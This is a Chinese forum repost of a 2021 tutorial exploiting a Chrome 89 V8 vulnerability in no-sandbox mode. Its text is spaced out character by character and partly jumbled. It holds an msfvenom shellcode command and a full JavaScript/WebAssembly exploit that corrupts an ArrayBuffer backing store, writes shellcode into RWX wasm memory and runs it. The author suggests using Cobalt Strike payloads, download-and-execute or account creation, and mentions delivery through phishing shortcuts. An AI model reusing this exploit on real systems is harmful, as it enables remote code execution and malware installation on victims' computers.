搜索

[2263] 2021-04-15_Chrome0day自定义shellcode利用（详细）

文档创建者：s7ckTeam
浏览次数：48
最后更新：2025-01-16
2021-04-15_Chrome0day自定义shellcode利用（详细） C h r o m e   0 d a y   自 定 义 s h e l l c o d e   利 用 （ 详 细 ） 原 创   E D I 安 全   E D I 安 全   2 0 2 1 - 0 4 - 1 5 该 漏 洞 主 要 利 用 在 - n o - s a n d b o x   模 式 下 ， 也 是 有 利 用 场 景 的 ， 具 体 要 看 各 位 师 傅 怎 么 发 挥 啦 ！ 漏 洞 影 响 范 围 漏 洞 影 响 范 围 利 用 条 件 ： 未 开 启 沙 盒 、   X 8 6 架 构 C P U   如 I n t e l 、 A M D 等 、 浏 览 器 需 运 行 在 6 4 位 模 式 、 1 . 生 成 生 成 s h e l l c o d e 当 然 你 也 可 以 选 择 使 用 C S 的 s h e l l c o d e   进 行 上 线 ， 我 这 里 只 是 为 了 做 测 试 ， 所 以 只 弹 了 个 m s g   师 傅 们 也 可 以 修 改 c m d 值 的 内 容 ， 生 成 s h e l l c o d e   ， 进 行 下 载 执 行 ， 加 账 户 等 操 作 。 2 . 修 改 修 改 P O C m s f v e n o m   - a   x 6 4   - p   w i n d o w s / x 6 4 / e x e c   C M D = " m s g . e x e   1   B y   E D I "   E X I T F U N C = t h r e a d   - f   n u m < s c r i p t >         f u n c t i o n   g c ( )   {                 f o r   ( v a r   i   =   0 ;   i   <   0 x 8 0 0 0 0 ;   + + i )   {                         v a r   a   =   n e w   A r r a y B u f f e r ( ) ;                 }         }         l e t   s h e l l c o d e   =   [ s h e l l c o d e   区 域 ] ;         v a r   w a s m C o d e   =   n e w   U i n t 8 A r r a y ( [ 0 ,   9 7 ,   1 1 5 ,   1 0 9 ,   1 ,   0 ,   0 ,   0 ,   1 ,   1 3 3 ,   1 2 8 ,   1 2 8 ,   1 2 8 ,   0 ,   1 ,   9 6 ,   0 ,   1 ,   1 2 7 ,   3 ,   1 3 0 ,   1 2 8 ,   1 2 8 ,   1 2 8 ,   0 ,   1 ,   0 ,   4 ,   1 3 2 ,   1 2 8 ,   1 2 8 ,   1 2 8 ,   0 ,   1 ,   1 1 2 ,   0 ,   0 ,   5 ,   1 3 1 ,   1 2 8 ,   1 2 8 ,   1 2 8 ,   0 ,   1 ,   0 ,   1 ,   6 ,   1 2 9 ,   1 2 8 ,   1 2 8 ,   1 2 8 ,   0 ,   0 ,   7 ,   1 4 5 ,   1 2 8 ,   1 2 8 ,   1 2 8 ,   0 ,   2 ,   6 ,   1 0 9 ,   1 0 1 ,   1 0 9 ,   1 1 1 ,   1 1 4 ,   1 2 1 ,   2 ,   0 ,   4 ,   1 0 9 ,   9 7 ,   1 0 5 ,   1 1 0 ,   0 ,   0 ,   1 0 ,   1 3 8 ,   1 2 8 ,   1 2 8 ,   1 2 8 ,   0 ,   1 ,   1 3 2 ,   1 2 8 ,   1 2 8 ,   1 2 8 ,   0 ,   0 ,   6 5 ,   4 2 ,   1 1 ] ) ;         v a r   w a s m M o d u l e   =   n e w   W e b A s s e m b l y . M o d u l e ( w a s m C o d e ) ;         v a r   w a s m I n s t a n c e   =   n e w   W e b A s s e m b l y . I n s t a n c e ( w a s m M o d u l e ) ;         v a r   m a i n   =   w a s m I n s t a n c e . e x p o r t s . m a i n ;         v a r   b f   =   n e w   A r r a y B u f f e r ( 8 ) ;         v a r   b f V i e w   =   n e w   D a t a V i e w ( b f ) ;         f u n c t i o n   f L o w ( f )   {                 b f V i e w . s e t F l o a t 6 4 ( 0 ,   f ,   t r u e ) ;                 r e t u r n   ( b f V i e w . g e t U i n t 3 2 ( 0 ,   t r u e ) ) ;         }         f u n c t i o n   f H i ( f )   {                 b f V i e w . s e t F l o a t 6 4 ( 0 ,   f ,   t r u e ) ;                 r e t u r n   ( b f V i e w . g e t U i n t 3 2 ( 4 ,   t r u e ) )         }         f u n c t i o n   i 2 f ( l o w ,   h i )   {                 b f V i e w . s e t U i n t 3 2 ( 0 ,   l o w ,   t r u e ) ;                 b f V i e w . s e t U i n t 3 2 ( 4 ,   h i ,   t r u e ) ;                 r e t u r n   b f V i e w . g e t F l o a t 6 4 ( 0 ,   t r u e ) ;         }         f u n c t i o n   f 2 b i g ( f )   {                 b f V i e w . s e t F l o a t 6 4 ( 0 ,   f ,   t r u e ) ;                 r e t u r n   b f V i e w . g e t B i g U i n t 6 4 ( 0 ,   t r u e ) ;         }         f u n c t i o n   b i g 2 f ( b )   {                 b f V i e w . s e t B i g U i n t 6 4 ( 0 ,   b ,   t r u e ) ;                 r e t u r n   b f V i e w . g e t F l o a t 6 4 ( 0 ,   t r u e ) ;         }         c l a s s   L e a k A r r a y B u f f e r   e x t e n d s   A r r a y B u f f e r   {                 c o n s t r u c t o r ( s i z e )   {                         s u p e r ( s i z e ) ;                         t h i s . s l o t   =   0 x b 3 3 f ;
w a s m C o d e   的 内 容 无 需 修 改 C h r o m e 可 以 直 接 执 行 其 它 高 级 语 言 生 成 的 机 器 码 ， 从 而 加 快 运 行 效 率 。 w a s m 的 内 存 页 是 R W X 可 读 可 写 可 执 行 的 ， 但 是 通 过 C 转 换 后 的 w a s m   并 无 法 执 行 需 要 导 入 库 执 行 的 函 数 所 以 我 们 需 要 编 写 一 段 w a s m 构 造 一 块 R W X 内 存 页 通 过 漏 洞 将 s h e l l c o d e 覆 写   原 本 属 于 w a s m 的 内 存 页 中 后 面 调 用 w a s m 接 口 时 ， 就 触 发 了 我 们 的 s h e l l c o d e （ 本 人 不 是 P W N 手 ， 如 有 分 析 有 误   还 请 师 傅 们 莫 见 怪 ） 3 . 运 行 运 行 c h r o m e   打 开 打 开 p o c . h t m l 切 到 C h r o m e 所 在 目 录 即 可 效 果 如 下                 }         }         f u n c t i o n   f o o ( a )   {                 l e t   x   =   - 1 ;                 i f   ( a )   x   =   0 x F F F F F F F F ;                 v a r   a r r   =   n e w   A r r a y ( M a t h . s i g n ( 0   -   M a t h . m a x ( 0 ,   x ,   - 1 ) ) ) ;                 a r r . s h i f t ( ) ;                 l e t   l o c a l _ a r r   =   A r r a y ( 2 ) ;                 l o c a l _ a r r [ 0 ]   =   5 . 1 ; / / 4 0 1 4 6 6 6 6 6 6 6 6 6 6 6 6                 l e t   b u f f   =   n e w   L e a k A r r a y B u f f e r ( 0 x 1 0 0 0 ) ; / / b y t e L e n g t h   i d x = 8                 a r r [ 0 ]   =   0 x 1 1 2 2 ;                 r e t u r n   [ a r r ,   l o c a l _ a r r ,   b u f f ] ;         }         f o r   ( v a r   i   =   0 ;   i   <   0 x 1 0 0 0 0 ;   + + i )                 f o o ( f a l s e ) ;         g c ( ) ;   g c ( ) ;         [ c o r r p u t _ a r r ,   r w a r r ,   c o r r u p t _ b u f f ]   =   f o o ( t r u e ) ;         c o r r p u t _ a r r [ 1 2 ]   =   0 x 2 2 4 4 4 ;         d e l e t e   c o r r p u t _ a r r ;         f u n c t i o n   s e t b a c k i n g S t o r e ( h i ,   l o w )   {                 r w a r r [ 4 ]   =   i 2 f ( f L o w ( r w a r r [ 4 ] ) ,   h i ) ;                 r w a r r [ 5 ]   =   i 2 f ( l o w ,   f H i ( r w a r r [ 5 ] ) ) ;         }         f u n c t i o n   l e a k O b j L o w ( o )   {                 c o r r u p t _ b u f f . s l o t   =   o ;                 r e t u r n   ( f L o w ( r w a r r [ 9 ] )   -   1 ) ;         }         l e t   c o r r u p t _ v i e w   =   n e w   D a t a V i e w ( c o r r u p t _ b u f f ) ;         l e t   c o r r u p t _ b u f f e r _ p t r _ l o w   =   l e a k O b j L o w ( c o r r u p t _ b u f f ) ;         l e t   i d x 0 A d d r   =   c o r r u p t _ b u f f e r _ p t r _ l o w   -   0 x 1 0 ;         l e t   b a s e A d d r   =   ( c o r r u p t _ b u f f e r _ p t r _ l o w   &   0 x f f f f 0 0 0 0 )   -   ( ( c o r r u p t _ b u f f e r _ p t r _ l o w   &   0 x f f f f 0 0 0 0 )   %   0 x 4 0 0 0 0 )   +   0 x 4 0 0 0 0 ;         l e t   d e l t a   =   b a s e A d d r   +   0 x 1 c   -   i d x 0 A d d r ;         i f   ( ( d e l t a   %   8 )   = =   0 )   {                 l e t   b a s e I d x   =   d e l t a   /   8 ;                 t h i s . b a s e   =   f L o w ( r w a r r [ b a s e I d x ] ) ;         }   e l s e   {                 l e t   b a s e I d x   =   ( ( d e l t a   -   ( d e l t a   %   8 ) )   /   8 ) ;                 t h i s . b a s e   =   f H i ( r w a r r [ b a s e I d x ] ) ;         }         l e t   w a s m I n s A d d r   =   l e a k O b j L o w ( w a s m I n s t a n c e ) ;         s e t b a c k i n g S t o r e ( w a s m I n s A d d r ,   t h i s . b a s e ) ;         l e t   c o d e _ e n t r y   =   c o r r u p t _ v i e w . g e t F l o a t 6 4 ( 1 3   *   8 ,   t r u e ) ;         s e t b a c k i n g S t o r e ( f L o w ( c o d e _ e n t r y ) ,   f H i ( c o d e _ e n t r y ) ) ;         f o r   ( l e t   i   =   0 ;   i   <   s h e l l c o d e . l e n g t h ;   i + + )   {                 c o r r u p t _ v i e w . s e t U i n t 8 ( i ,   s h e l l c o d e [ i ] ) ;         }         m a i n ( ) ; < / s c r i p t > c h r o m e . e x e   - n o - s a n d b o x
关 于 该 漏 洞 的 利 用 ， 已 经 有 师 傅 做 了 快 捷 方 式 钓 鱼 的 形 式 进 行 投 马 、 当 然 还 有 其 它 玩 法 。 测 试 环 境 W i n d o w s 1 0   x 6 4   C h r o m e   8 9 . 0 . 4 3 8 9 . 1 2 8 " C : P r o g r a m   F i l e s G o o g l e C h r o m e A p p l i c a t i o n c h r o m e . e x e "   - n o - s a n d b o x   f i l e : / / / C : / U s e r s / a d m i n / D e s k t o p / e x p l o i t s - m a s t e r / c h r o m e - 0 d a y / E D I . h t m l
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理